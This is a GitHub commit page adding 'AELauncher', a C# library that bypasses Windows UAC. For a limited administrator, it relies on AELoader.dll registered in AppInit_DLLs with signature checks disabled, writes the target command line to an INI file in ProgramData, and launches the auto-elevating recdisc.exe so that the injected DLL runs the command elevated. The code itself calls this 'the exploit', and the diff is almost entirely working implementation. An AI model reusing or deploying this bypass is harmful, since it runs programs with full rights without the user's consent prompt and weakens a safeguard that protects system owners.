Skip to content

Commit

Permalink
Implement AELauncher
Browse files Browse the repository at this point in the history
  • Loading branch information
ww898 committed Mar 4, 2020
1 parent 1ee67b9 commit 8dc848a
Show file tree
Hide file tree
Showing 24 changed files with 526 additions and 22 deletions.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -5,3 +5,4 @@ _ReSharper.Caches/
obj/
bin/
*.user
*.snk
17 changes: 17 additions & 0 deletions AELauncher/AELauncher.csproj
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
<Project Sdk="Microsoft.NET.Sdk">
<Import Project="../Common.targets" />
<PropertyGroup>
<TargetFrameworks>netstandard2.0;net20</TargetFrameworks>
<AssemblyName>ww898.AELauncher</AssemblyName>
<RootNamespace>ww898.AELauncher</RootNamespace>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
<GeneratePackageOnBuild>true</GeneratePackageOnBuild>
<PackageIcon>icon.png</PackageIcon>
</PropertyGroup>
<ItemGroup>
<None Include="icon.png" Pack="true" PackagePath="\" />
</ItemGroup>
<ItemGroup Condition="'$(TargetFramework)' == 'netstandard2.0'">
<PackageReference Include="Microsoft.Win32.Registry" Version="4.7.0" />
</ItemGroup>
</Project>
159 changes: 159 additions & 0 deletions AELauncher/AEProcess.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,159 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Text.RegularExpressions;
using Microsoft.Win32;
using ww898.AELauncher.Impl;
using ww898.AELauncher.Impl.Interop;

namespace ww898.AELauncher
{
// ReSharper disable once InconsistentNaming
public static class AEProcess
{
private const string Sys32Dir = @"%SystemRoot%\System32";
private const string Wow64Dir = @"%SystemRoot%\SysWOW64";

private const string AeLoaderDll = "AELoader.dll";

private const string Sys32AeLoaderDll = Sys32Dir + @"\" + AeLoaderDll;
private const string Wow64AeLoaderDll = Wow64Dir + @"\" + AeLoaderDll;

private const string DonorExe = Sys32Dir + @"\recdisc.exe";

private const string KeyPath = @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows";

private const string ValueAppInitDlls = "AppInit_DLLs";
private const string ValueLoadAppInitDlls = "LoadAppInit_DLLs";
private const string ValueRequireSignedAppInitDlls = "RequireSignedAppInit_DLLs";

public static bool DebugMode;

public static void Start(string executable, string arguments = null)
{
Run(executable, arguments);
}

public static void Start(string executable, string[] arguments)
{
if (arguments == null)
throw new ArgumentNullException(nameof(arguments));
var builder = new StringBuilder();
foreach (var argument in arguments)
builder.Append(' ').Append(EscapeArgument(argument));
Run(executable, builder.ToString());
}

private static void Run(string executable, string arguments = null)
{
if (Environment.OSVersion.Platform != PlatformID.Win32NT)
throw new PlatformNotSupportedException("Windows is required");

if (!File.Exists(Environment.ExpandEnvironmentVariables(Sys32AeLoaderDll)))
throw new FileNotFoundException(Sys32AeLoaderDll + " wasn't found");

if (Directory.Exists(Environment.ExpandEnvironmentVariables(Wow64Dir)))
if (!File.Exists(Environment.ExpandEnvironmentVariables(Wow64AeLoaderDll)))
throw new FileNotFoundException(Wow64AeLoaderDll + " wasn't found");

if (!ElevationUtil.IsUacEnabled())
throw new Exception("UAC is disabled");

using (var key = Registry.LocalMachine.OpenSubKey(KeyPath))
{
if (key == null)
throw new Exception(KeyPath + @" was not found");
if (!(key.GetValue(ValueAppInitDlls) is string paths))
throw new Exception(ValueAppInitDlls + @" value was not found");
if (!(key.GetValue(ValueLoadAppInitDlls) is int load))
throw new Exception(ValueLoadAppInitDlls + @" value was not found");
if (!(key.GetValue(ValueRequireSignedAppInitDlls) is int requireSigned))
throw new Exception(ValueRequireSignedAppInitDlls + @" value was not found");

if (paths.IndexOf(AeLoaderDll, StringComparison.OrdinalIgnoreCase) < 0)
throw new Exception(AeLoaderDll + " wasn't registered");
if (load == 0)
throw new Exception(ValueLoadAppInitDlls + " wasn't enabled");
if (requireSigned != 0)
throw new Exception(ValueRequireSignedAppInitDlls + " wasn't disabled");
}

var currentProcess = Process.GetCurrentProcess();
switch (ElevationUtil.GetElevationType(currentProcess))
{
case TOKEN_ELEVATION_TYPE.TokenElevationTypeDefault:
throw new Exception("A limited administrator account is required to run the exploit");
case TOKEN_ELEVATION_TYPE.TokenElevationTypeFull:
ExecuteDirect(executable, arguments);
break;
case TOKEN_ELEVATION_TYPE.TokenElevationTypeLimited:
var iniFile = Environment.ExpandEnvironmentVariables($"%ProgramData%\\AELoader.{unchecked((uint) currentProcess.Id)}.ini");
try
{
WriteIniFile(iniFile, executable, arguments);
ExecuteDonor(TimeSpan.FromSeconds(10));
if (File.Exists(iniFile))
throw new InvalidOperationException("AELoader.dll wasn't loaded in the donor process");
}
finally
{
if (File.Exists(iniFile))
File.Delete(iniFile);
}
break;
default:
throw new ArgumentOutOfRangeException();
}
}

private static void ExecuteDonor(TimeSpan timeout)
{
var timeoutInMilliseconds = checked((int) timeout.TotalMilliseconds);
using (var process = Process.Start(new ProcessStartInfo(Environment.ExpandEnvironmentVariables(DonorExe)) {UseShellExecute = true}))
{
if (process == null)
throw new InvalidOperationException("Failed to run the donor executable");
if (!process.WaitForExit(timeoutInMilliseconds))
throw new TimeoutException("Failed to wait the donor process");
}
}

private static void ExecuteDirect(string executable, string arguments = null)
{
if (executable == null)
throw new ArgumentNullException(nameof(executable));
using (var process = Process.Start(new ProcessStartInfo(executable, arguments) {UseShellExecute = true}))
if (process == null)
throw new InvalidOperationException("Failed to run the executable directly");
}

private static void WriteIniFile(string iniFile, string executable, string arguments = null)
{
var commandLine = EscapeArgument(executable);
if (!string.IsNullOrEmpty(arguments))
commandLine += ' ' + arguments;

// Bug: GetPrivateProfileIntW() / GetPrivateProfileStringW() support only ASCII or UTF-16LE with no BOM!
var encoding = new UnicodeEncoding(false, false);

using (var writer = new StreamWriter(File.OpenWrite(iniFile), encoding))
{
writer.WriteLine("[AELoader]");
if (DebugMode)
writer.WriteLine("EnableEventLogs=1");
writer.WriteLine("CommandLine={0}", commandLine);
}
}

private static string EscapeArgument(string argument)
{
if (argument == null)
throw new ArgumentNullException(nameof(argument));
if (argument.Length == 0)
return @"""""";
var tmp = Regex.Replace(argument, @"(\\*)""", @"$1\\$0");
return Regex.Replace(tmp, @"^(.*\s.*?)(\\*)$", @"""$1$2$2""");
}
}
}
44 changes: 44 additions & 0 deletions AELauncher/Impl/ElevationUtil.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
using System;
using System.ComponentModel;
using System.Diagnostics;
using ww898.AELauncher.Impl.Interop;

namespace ww898.AELauncher.Impl
{
internal static class ElevationUtil
{
public static unsafe bool IsUacEnabled()
{
if (Environment.OSVersion.Version < new Version(6, 0))
return false;
uint elevationFlags;
var error = NtDllDll.RtlQueryElevationFlags(&elevationFlags);
if (error != (int) WinError.ERROR_SUCCESS)
throw new Win32Exception(error, "Can't get elevation flags");
return ((ELEVATION_FLAGS) elevationFlags & ELEVATION_FLAGS.ELEVATION_UAC_ENABLED) != 0;
}

public static unsafe TOKEN_ELEVATION_TYPE GetElevationType(Process process)
{
if (process == null)
throw new ArgumentNullException(nameof(process));
if (Environment.OSVersion.Version < new Version(6, 0))
return TOKEN_ELEVATION_TYPE.TokenElevationTypeDefault;
void* handle;
if (Advapi32Dll.OpenProcessToken(process.Handle.ToPointer(), (uint) TokenAccessRights.TOKEN_QUERY, &handle) == 0)
throw new Win32Exception("Can't open process token");
try
{
TOKEN_ELEVATION_TYPE tet;
var size = (uint) sizeof(TOKEN_ELEVATION_TYPE);
if (Advapi32Dll.GetTokenInformation(handle, (int) TOKEN_INFORMATION_CLASS.TokenElevationType, &tet, size, &size) == 0)
throw new Win32Exception("Can't get elevation type");
return tet;
}
finally
{
Kernel32Dll.CloseHandle(handle);
}
}
}
}
15 changes: 15 additions & 0 deletions AELauncher/Impl/Interop/Advapi32Dll.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
using System.Runtime.InteropServices;

namespace ww898.AELauncher.Impl.Interop
{
internal static unsafe class Advapi32Dll
{
private const string LibraryName = "advapi32.dll";

[DllImport(LibraryName, ExactSpelling = true, SetLastError = true)]
public static extern int OpenProcessToken(void* ProcessHandle, uint DesiredAccess, void** TokenHandle);

[DllImport(LibraryName, ExactSpelling = true, SetLastError = true)]
public static extern int GetTokenInformation(void* TokenHandle, int TokenInformationClass, void* TokenInformation, uint TokenInformationLength, uint* ReturnLength);
}
}
12 changes: 12 additions & 0 deletions AELauncher/Impl/Interop/ELEVATION_FLAGS.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
using System;

namespace ww898.AELauncher.Impl.Interop
{
[Flags]
internal enum ELEVATION_FLAGS : uint
{
ELEVATION_UAC_ENABLED = 0x1,
ELEVATION_VIRTUALIZATION_ENABLED = 0x2,
ELEVATION_INSTALLER_DETECTION_ENABLED = 0x4
}
}
12 changes: 12 additions & 0 deletions AELauncher/Impl/Interop/Kernel32Dll.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
using System.Runtime.InteropServices;

namespace ww898.AELauncher.Impl.Interop
{
internal static unsafe class Kernel32Dll
{
private const string LibraryName = "kernel32.dll";

[DllImport(LibraryName, ExactSpelling = true, SetLastError = true)]
public static extern int CloseHandle(void* hObject);
}
}
12 changes: 12 additions & 0 deletions AELauncher/Impl/Interop/NtDllDll.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
using System.Runtime.InteropServices;

namespace ww898.AELauncher.Impl.Interop
{
internal static unsafe class NtDllDll
{
private const string LibraryName = "ntdll.dll";

[DllImport(LibraryName, ExactSpelling = true, SetLastError = false)]
public static extern int RtlQueryElevationFlags(uint* pFlags);
}
}
9 changes: 9 additions & 0 deletions AELauncher/Impl/Interop/TOKEN_ELEVATION_TYPE.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
namespace ww898.AELauncher.Impl.Interop
{
internal enum TOKEN_ELEVATION_TYPE
{
TokenElevationTypeDefault = 1,
TokenElevationTypeFull,
TokenElevationTypeLimited
}
}
46 changes: 46 additions & 0 deletions AELauncher/Impl/Interop/TOKEN_INFORMATION_CLASS.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
namespace ww898.AELauncher.Impl.Interop
{
internal enum TOKEN_INFORMATION_CLASS
{
TokenUser = 1,
TokenGroups,
TokenPrivileges,
TokenOwner,
TokenPrimaryGroup,
TokenDefaultDacl,
TokenSource,
TokenType,
TokenImpersonationLevel,
TokenStatistics,
TokenRestrictedSids,
TokenSessionId,
TokenGroupsAndPrivileges,
TokenSessionReference,
TokenSandBoxInert,
TokenAuditPolicy,
TokenOrigin,
TokenElevationType,
TokenLinkedToken,
TokenElevation,
TokenHasRestrictions,
TokenAccessInformation,
TokenVirtualizationAllowed,
TokenVirtualizationEnabled,
TokenIntegrityLevel,
TokenUIAccess,
TokenMandatoryPolicy,
TokenLogonSid,
TokenIsAppContainer,
TokenCapabilities,
TokenAppContainerSid,
TokenAppContainerNumber,
TokenUserClaimAttributes,
TokenDeviceClaimAttributes,
TokenRestrictedUserClaimAttributes,
TokenRestrictedDeviceClaimAttributes,
TokenDeviceGroups,
TokenRestrictedDeviceGroups,
TokenSecurityAttributes,
TokenIsRestricted
}
}
10 changes: 10 additions & 0 deletions AELauncher/Impl/Interop/TokenAccessRights.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
using System;

namespace ww898.AELauncher.Impl.Interop
{
[Flags]
internal enum TokenAccessRights : uint
{
TOKEN_QUERY = 0x0008
}
}
7 changes: 7 additions & 0 deletions AELauncher/Impl/Interop/WinError.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
namespace ww898.AELauncher.Impl.Interop
{
internal enum WinError
{
ERROR_SUCCESS = 0
}
}
Binary file added AELauncher/icon.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading

0 comments on commit 8dc848a

Please sign in to comment.